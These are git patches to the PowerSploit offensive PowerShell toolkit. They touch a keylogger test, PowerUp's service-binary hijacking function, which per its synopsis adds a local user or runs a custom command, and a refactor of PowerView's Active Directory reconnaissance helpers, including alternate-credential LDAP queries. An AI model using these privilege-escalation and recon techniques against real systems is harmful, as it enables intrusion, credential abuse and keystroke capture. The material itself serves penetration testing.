a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index e4f60d5a..43383d16 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -22,8 +22,6 @@ Describe 'Get-Keystrokes' { $KeyLogger.Dispose() It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } - - $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv It 'Should log keystrokes' { $FileLength = (Get-Item "$($env:TEMP)\key.log").Length From 9cc65e4a856a062d1f6d63d5412d7f0cd801877d Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Wed, 13 Jan 2016 22:32:44 -0600 Subject: [PATCH 092/296] Fixed Pester/PassThru --- Tests/Exfiltration.tests.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index 43383d16..e4f60d5a 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -22,6 +22,8 @@ Describe 'Get-Keystrokes' { $KeyLogger.Dispose() It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } + + $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv It 'Should log keystrokes' { $FileLength = (Get-Item "$($env:TEMP)\key.log").Length From 3f1dd3450061eece07a18821fbd7ff4f5b3fb907 Mon Sep 17 00:00:00 2001 From: sagishahar Date: Sun, 17 Jan 2016 23:04:27 +0800 Subject: [PATCH 093/296] Fix 'Install-ServiceBinary' for non-'Modifiable' files The 'Install-ServiceBinary' function fails on an edge case where the service's file permission does not include the 'Modify' permission but does include the 'Write' permission (https://technet.microsoft.com/en-au/library/dd349321(v=ws.10).aspx). In this scenario, renaming the original service file for backup purposes will result in 'Access Denied' message. Fixing this requires that the file be copied to service.exe.bak instead of renamed to service.exe.bak. --- Privesc/PowerUp.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 0d71b143..06611220 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -794,7 +794,7 @@ function Write-ServiceBinary { The service name the EXE will be running under. Required. - .PARAMETER Path + .PARAMETER ServicePath Path to write the binary out to, defaults to the local directory. @@ -920,7 +920,7 @@ function Install-ServiceBinary { <# .SYNOPSIS - Users Write-ServiceBinary to write a C# service that creates a local UserName + Uses Write-ServiceBinary to write a C# service that creates a local UserName and adds it to specified LocalGroup or executes a custom command. Domain users are only added to the specified LocalGroup. @@ -1006,7 +1006,7 @@ function Install-ServiceBinary { Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" try { - Move-Item -Path $ServicePath -Destination $BackupPath -Force + Copy-Item -Path $ServicePath -Destination $BackupPath -Force } catch { Write-Warning "[*] Original path '$ServicePath' for '$ServiceName' does not exist!" From aea2eacd2de516f889872703754404edeb90f644 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 11 Feb 2016 13:46:45 -0500 Subject: [PATCH 094/296] Most ldap-based search functions now accept a -Credential argument for querying from non-domain joined machines without a runas Changed several functions to filters, where appropriate. Get-NetShare, Get-NetSession, Get-NetLoggedOn, Get-NetRDPSession, Invoke-CheckLocalAdminAccess, Get-LastLoggedOn, Get-CachedRDPConnection, Get-NetProcess are now filters, better handle pipeline input, and now return an augmented result object with the queried ComputerName as a field Replaced RemoteUserName/RemotePassword with -Credential parameter in Get-CachedRDPConnection and Get-NetProcess modified output object for Get-NetShare to be a proper object Various bug fixes and better parameter validation --- Recon/PowerView.ps1 | 2513 ++++++++++++++++++++++++------------------- 1 file changed, 1428 insertions(+), 1085 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c38943d7..36e2693c 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -714,11 +714,13 @@ function struct # ######################################################## -function Export-PowerViewCSV { +filter Export-PowerViewCSV { <# .SYNOPSIS - This function exports to a .csv in a thread-safe manner. + This helper exports an -InputObject to a .csv in a thread-safe manner + using a mutex. This is so the various multi-threaded functions in + PowerView has a thread-safe way to export output to the same file. Based partially on Dmitry Sotnikov's Export-CSV code at http://poshcode.org/1590 @@ -729,35 +731,31 @@ function Export-PowerViewCSV { http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ #> Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, - ValueFromPipelineByPropertyName=$True)] - [System.Management.Automation.PSObject] + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [System.Management.Automation.PSObject[]] $InputObject, [Parameter(Mandatory=$True, Position=0)] - [Alias('PSPath')] [String] + [ValidateNotNullOrEmpty()] $OutFile ) - process { - - $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation - - # mutex so threaded code doesn't stomp on the output file - $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; - $Null = $Mutex.WaitOne() + $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation - if (Test-Path -Path $OutFile) { - # hack to skip the first line of output if the file already exists - $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } - else { - $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; + $Null = $Mutex.WaitOne() - $Mutex.ReleaseMutex() + if (Test-Path -Path $OutFile) { + # hack to skip the first line of output if the file already exists + $ObjectCSV | Foreach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + else { + $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } + + $Mutex.ReleaseMutex() } @@ -892,12 +890,12 @@ function Copy-ClonedFile { param( [Parameter(Mandatory = $True)] [String] - [ValidateNotNullOrEmpty()] + [ValidateScript({Test-Path -Path $_ })] $SourceFile, [Parameter(Mandatory = $True)] [String] - [ValidateNotNullOrEmpty()] + [ValidateScript({Test-Path -Path $_ })] $DestFile ) @@ -909,51 +907,56 @@ function Copy-ClonedFile { } -function Get-IPAddress { +filter Get-IPAddress { <# .SYNOPSIS - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. + Resolves a given hostename to its associated IPv4 address. + If no hostname is provided, it defaults to returning + the IP address of the localhost. .EXAMPLE PS C:\> Get-IPAddress -ComputerName SERVER Return the IPv4 address of 'SERVER' + + .EXAMPLE + + PS C:\> Get-Content .\hostnames.txt | Get-IPAddress + + Get the IP addresses of all hostnames in an input file. #> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String] - $ComputerName = '' + $ComputerName = $Env:ComputerName ) - process { - try { - # get the IP resolution of this specified hostname - $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList) - - if ($Results.Count -ne 0) { - ForEach ($Result in $Results) { - # make sure the returned result is IPv4 - if ($Result.AddressFamily -eq 'InterNetwork') { - $Result.IPAddressToString - } - } + + try { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # get the IP resolution of this specified hostname + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out } } - catch { - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } } - end {} + catch { + Write-Verbose -Message 'Could not resolve host to an IP Address.' + } } -function Convert-NameToSid { +filter Convert-NameToSid { <# .SYNOPSIS @@ -973,38 +976,43 @@ function Convert-NameToSid { #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] [Alias('Name')] $ObjectName, [String] - $Domain = (Get-NetDomain).Name + $Domain ) - process { - - $ObjectName = $ObjectName -replace "/","\" - - if($ObjectName.contains("\")) { - # if we get a DOMAIN\user format, auto convert it - $Domain = $ObjectName.split("\")[0] - $ObjectName = $ObjectName.split("\")[1] - } + $ObjectName = $ObjectName -Replace "/","\" + + if($ObjectName.Contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.Split("\")[0] + $ObjectName = $ObjectName.Split("\")[1] + } + elseif(!$Domain) { + $Domain = (Get-NetDomain).Name + } - try { - $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName)) - $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value - } - catch { - Write-Verbose "Invalid object/name: $Domain\$ObjectName" - $Null - } + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName)) + $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ObjectName' $ObjectName + $Out | Add-Member Noteproperty 'SID' $SID + $Out + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null } } -function Convert-SidToName { +filter Convert-SidToName { <# .SYNOPSIS @@ -1020,95 +1028,94 @@ function Convert-SidToName { #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] + [ValidatePattern('^S-1-.*')] $SID ) - process { - try { - $SID2 = $SID.trim('*') + try { + $SID2 = $SID.trim('*') - # try to resolve any built-in SIDs first - # from https://support.microsoft.com/en-us/kb/243330 - Switch ($SID2) - { - 'S-1-0' { 'Null Authority' } - 'S-1-0-0' { 'Nobody' } - 'S-1-1' { 'World Authority' } - 'S-1-1-0' { 'Everyone' } - 'S-1-2' { 'Local Authority' } - 'S-1-2-0' { 'Local' } - 'S-1-2-1' { 'Console Logon ' } - 'S-1-3' { 'Creator Authority' } - 'S-1-3-0' { 'Creator Owner' } - 'S-1-3-1' { 'Creator Group' } - 'S-1-3-2' { 'Creator Owner Server' } - 'S-1-3-3' { 'Creator Group Server' } - 'S-1-3-4' { 'Owner Rights' } - 'S-1-4' { 'Non-unique Authority' } - 'S-1-5' { 'NT Authority' } - 'S-1-5-1' { 'Dialup' } - 'S-1-5-2' { 'Network' } - 'S-1-5-3' { 'Batch' } - 'S-1-5-4' { 'Interactive' } - 'S-1-5-6' { 'Service' } - 'S-1-5-7' { 'Anonymous' } - 'S-1-5-8' { 'Proxy' } - 'S-1-5-9' { 'Enterprise Domain Controllers' } - 'S-1-5-10' { 'Principal Self' } - 'S-1-5-11' { 'Authenticated Users' } - 'S-1-5-12' { 'Restricted Code' } - 'S-1-5-13' { 'Terminal Server Users' } - 'S-1-5-14' { 'Remote Interactive Logon' } - 'S-1-5-15' { 'This Organization ' } - 'S-1-5-17' { 'This Organization ' } - 'S-1-5-18' { 'Local System' } - 'S-1-5-19' { 'NT Authority' } - 'S-1-5-20' { 'NT Authority' } - 'S-1-5-80-0' { 'All Services ' } - 'S-1-5-32-544' { 'BUILTIN\Administrators' } - 'S-1-5-32-545' { 'BUILTIN\Users' } - 'S-1-5-32-546' { 'BUILTIN\Guests' } - 'S-1-5-32-547' { 'BUILTIN\Power Users' } - 'S-1-5-32-548' { 'BUILTIN\Account Operators' } - 'S-1-5-32-549' { 'BUILTIN\Server Operators' } - 'S-1-5-32-550' { 'BUILTIN\Print Operators' } - 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } - 'S-1-5-32-552' { 'BUILTIN\Replicators' } - 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } - 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } - 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } - 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } - 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } - 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } - 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } - 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } - 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } - 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } - 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } - 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } - 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } - 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } - 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } - 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } - 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } - 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } - Default { - $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) - $Obj.Translate( [System.Security.Principal.NTAccount]).Value - } + # try to resolve any built-in SIDs first + # from https://support.microsoft.com/en-us/kb/243330 + Switch ($SID2) + { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) + $Obj.Translate( [System.Security.Principal.NTAccount]).Value } } - catch { - # Write-Warning "Invalid SID: $SID" - $SID - } + } + catch { + Write-Debug "Invalid SID: $SID" + $SID } } -function Convert-NT4toCanonical { +filter Convert-NT4toCanonical { <# .SYNOPSIS @@ -1133,60 +1140,63 @@ function Convert-NT4toCanonical { #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $ObjectName ) - process { - - $ObjectName = $ObjectName -replace "/","\" - - if($ObjectName.contains("\")) { - # if we get a DOMAIN\user format, try to extract the domain - $Domain = $ObjectName.split("\")[0] - } + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, try to extract the domain + $Domain = $ObjectName.split("\")[0] + } - # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { - $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) - if ( $Output ) { $Output } - } - function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { - [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) - } + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) + if ( $Output ) { $Output } + } + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) + } - $Translate = New-Object -ComObject NameTranslate + $Translate = New-Object -ComObject NameTranslate - try { - Invoke-Method $Translate "Init" (1, $Domain) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" - } + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + } - Set-Property $Translate "ChaseReferral" (0x60) + Set-Property $Translate "ChaseReferral" (0x60) - try { - Invoke-Method $Translate "Set" (3, $ObjectName) - (Invoke-Method $Translate "Get" (2)) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" - } + try { + Invoke-Method $Translate "Set" (3, $ObjectName) + (Invoke-Method $Translate "Get" (2)) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" } } -function Convert-CanonicaltoNT4 { +filter Convert-CanonicaltoNT4 { <# .SYNOPSIS - Converts a user@fqdn to NT4 format. + Converts a canonical user format to NT4 format. .PARAMETER ObjectName - The user/group name to convert, needs to be in 'DOMAIN\user' format. + The canonical name of the object to convert. + + .EXAMPLE + + PS C:\> Convert-CanonicaltoNT4 -ObjectName "dev.testlab.local/Users/Dave" + + Returns .LINK @@ -1195,7 +1205,10 @@ function Convert-CanonicaltoNT4 { [CmdletBinding()] param( - [String] $ObjectName + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + # [ValidatePattern('.+/.+')] + $ObjectName ) $Domain = ($ObjectName -split "@")[1] @@ -1224,7 +1237,9 @@ function Convert-CanonicaltoNT4 { Invoke-Method $Translate "Set" (5, $ObjectName) (Invoke-Method $Translate "Get" (3)) } - catch [System.Management.Automation.MethodInvocationException] { $_ } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-CanonicaltoNT4: $_" + } } @@ -1264,7 +1279,7 @@ function ConvertFrom-UACValue { [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] $Value, [Switch] @@ -1272,7 +1287,6 @@ function ConvertFrom-UACValue { ) begin { - # values from https://support.microsoft.com/en-us/kb/305144 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary $UACValues.Add("SCRIPT", 1) @@ -1297,7 +1311,6 @@ function ConvertFrom-UACValue { $UACValues.Add("PASSWORD_EXPIRED", 8388608) $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) - } process { @@ -1307,40 +1320,39 @@ function ConvertFrom-UACValue { if($Value -is [Int]) { $IntValue = $Value } - - if ($Value -is [PSCustomObject]) { + elseif ($Value -is [PSCustomObject]) { if($Value.useraccountcontrol) { $IntValue = $Value.useraccountcontrol } } + else { + Write-Warning "Invalid object input for -Value : $Value" + return $Null + } - if($IntValue) { - - if($ShowAll) { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") - } - else { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") - } + if($ShowAll) { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } - } - else { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") - } - } } } - + else { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } $ResultUACValues } } -function Get-Proxy { +filter Get-Proxy { <# .SYNOPSIS @@ -1363,52 +1375,66 @@ function Get-Proxy { $ComputerName = $ENV:COMPUTERNAME ) - process { - try { - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) - $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") - $ProxyServer = $RegKey.GetValue('ProxyServer') - $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + try { + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) + $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") + $ProxyServer = $RegKey.GetValue('ProxyServer') + $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') - if($AutoConfigURL -and ($AutoConfigURL -ne "")) { - try { - $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) - } - catch { - $Wpad = "" - } + $Wpad = "" + if($AutoConfigURL -and ($AutoConfigURL -ne "")) { + try { + $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) } - else { - $Wpad = "" + catch { + Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL" } - - if($ProxyServer -or $AutoConfigUrl) { + } + + if($ProxyServer -or $AutoConfigUrl) { - $Properties = @{ - 'ProxyServer' = $ProxyServer - 'AutoConfigURL' = $AutoConfigURL - 'Wpad' = $Wpad - } - - New-Object -TypeName PSObject -Property $Properties - } - else { - Write-Warning "No proxy settings found for $ComputerName" + $Properties = @{ + 'ProxyServer' = $ProxyServer + 'AutoConfigURL' = $AutoConfigURL + 'Wpad' = $Wpad } + + New-Object -TypeName PSObject -Property $Properties } - catch { - Write-Warning "Error enumerating proxy settings for $ComputerName" + else { + Write-Warning "No proxy settings found for $ComputerName" } } + catch { + Write-Warning "Error enumerating proxy settings for $ComputerName : $_" + } } function Get-PathAcl { +<# + .SYNOPSIS + + Enumerates the ACL for a given file path. + + .PARAMETER Path + + The local/remote path to enumerate the ACLs for. + + .PARAMETER Recurse + + If any ACL results are groups, recurse and retrieve user membership. + .EXAMPLE + + PS C:\> Get-PathAcl "\\SERVER\Share\" + + Returns ACLs for the given UNC share. +#> [CmdletBinding()] param( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [string] + [String] $Path, [Switch] @@ -1521,41 +1547,53 @@ function Get-PathAcl { } -function Get-NameField { - # function that attempts to extract the appropriate field name - # from various passed objects. This is so functions can have - # multiple types of objects passed on the pipeline. +filter Get-NameField { + # helper that attempts to extract the appropriate field name + # from various passed objects. [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - $Object + [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Object]$Object, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $DnsHostName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $Name ) - process { - if($Object) { - if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputer - $Object.dnshostname - } - elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainController - $Object.name - } - else { - # strings and catch alls - $Object - } + + if($PSBoundParameters['DnsHostName']) { + $DnsHostName + } + elseif($PSBoundParameters['Name']) { + $Name + } + elseif($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname + } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name } else { - return $Null + # strings and catch alls + $Object } } + else { + return $Null + } } function Convert-LDAPProperty { # helper to convert specific LDAP property result fields param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [ValidateNotNullOrEmpty()] $Properties ) @@ -1585,7 +1623,7 @@ function Convert-LDAPProperty { } } elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { - # convert misc com objects + # try to convert misc com objects $Prop = $Properties[$_] try { $Temp = $Prop[$_][0] @@ -1617,7 +1655,7 @@ function Convert-LDAPProperty { # ######################################################## -function Get-DomainSearcher { +filter Get-DomainSearcher { <# .SYNOPSIS @@ -1645,6 +1683,11 @@ function Get-DomainSearcher { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-DomainSearcher -Domain testlab.local @@ -1654,8 +1697,8 @@ function Get-DomainSearcher { PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local #> - [CmdletBinding()] param( + [Parameter(ValueFromPipeline=$True)] [String] $Domain, @@ -1670,14 +1713,17 @@ function Get-DomainSearcher { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - if(!$Domain) { - $Domain = (Get-NetDomain).name - } - else { - if(!$DomainController) { + if(!$Credential) { + if(!$Domain){ + $Domain = (Get-NetDomain).name + } + elseif(!$DomainController) { try { # if there's no -DomainController specified, try to pull the primary DC # to reflect queries through @@ -1688,12 +1734,28 @@ function Get-DomainSearcher { } } } + elseif (!$DomainController) { + try { + $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + + if(!$DomainController) { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } $SearchString = "LDAP://" if($DomainController) { - $SearchString += $DomainController + "/" + $SearchString += $DomainController + if($Domain){ + $SearchString += "/" + } } + if($ADSprefix) { $SearchString += $ADSprefix + "," } @@ -1701,30 +1763,45 @@ function Get-DomainSearcher { if($ADSpath) { if($ADSpath -like "GC://*") { # if we're searching the global catalog - $DistinguishedName = $AdsPath + $DN = $AdsPath $SearchString = "" } else { if($ADSpath -like "LDAP://*") { - $ADSpath = $ADSpath.Substring(7) + if($ADSpath -match "LDAP://.+/.+") { + $SearchString = "" + } + else { + $ADSpath = $ADSpath.Substring(7) + } } - $DistinguishedName = $ADSpath + $DN = $ADSpath } } else { - $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" + if($Domain -and ($Domain.Trim() -ne "")) { + $DN = "DC=$($Domain.Replace('.', ',DC='))" + } } - $SearchString += $DistinguishedName + $SearchString += $DN Write-Verbose "Get-DomainSearcher search string: $SearchString" - $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + if($Credential) { + Write-Verbose "Using alternate credentials for LDAP connection" + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + $Searcher.PageSize = $PageSize $Searcher } -function Get-NetDomain { +filter Get-NetDomain { <# .SYNOPSIS @@ -1734,41 +1811,70 @@ function Get-NetDomain { The domain name to query for, defaults to the current domain. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetDomain -Domain testlab.local + .EXAMPLE + + PS C:\> "testlab.local" | Get-NetDomain + .LINK 